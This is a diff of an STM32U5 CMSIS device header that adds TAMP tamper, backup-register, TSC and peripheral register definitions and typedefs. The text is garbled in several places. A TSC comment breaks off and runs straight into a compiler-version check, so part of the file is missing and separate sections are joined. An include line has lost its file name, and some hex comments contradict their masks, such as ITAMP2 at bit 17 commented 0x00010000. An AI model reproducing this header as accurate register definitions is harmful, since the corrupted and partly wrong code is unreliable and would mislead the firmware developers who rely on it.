TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief AES hardware accelerator + */ +typedef struct +{ + __IO uint32_t CR; /*!< AES control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< AES status register, Address offset: 0x04 */ + __IO uint32_t DINR; /*!< AES data input register, Address offset: 0x08 */ + __IO uint32_t DOUTR; /*!< AES data output register, Address offset: 0x0C */ + __IO uint32_t KEYR0; /*!< AES key register 0, Address offset: 0x10 */ + __IO uint32_t KEYR1; /*!< AES key register 1, Address offset: 0x14 */ + __IO uint32_t KEYR2; /*!< AES key register 2, Address offset: 0x18 */ + __IO uint32_t KEYR3; /*!< AES key register 3, Address offset: 0x1C */ + __IO uint32_t IVR0; /*!< AES initialization vector register 0, Address offset: 0x20 */ + __IO uint32_t IVR1; /*!< AES initialization vector register 1, Address offset: 0x24 */ + __IO uint32_t IVR2; /*!< AES initialization vector register 2, Address offset: 0x28 */ + __IO uint32_t IVR3; /*!< AES initialization vector register 3, Address offset: 0x2C */ + __IO uint32_t KEYR4; /*!< AES key register 4, Address offset: 0x30 */ + __IO uint32_t KEYR5; /*!< AES key register 5, Address offset: 0x34 */ + __IO uint32_t KEYR6; /*!< AES key register 6, Address offset: 0x38 */ + __IO uint32_t KEYR7; /*!< AES 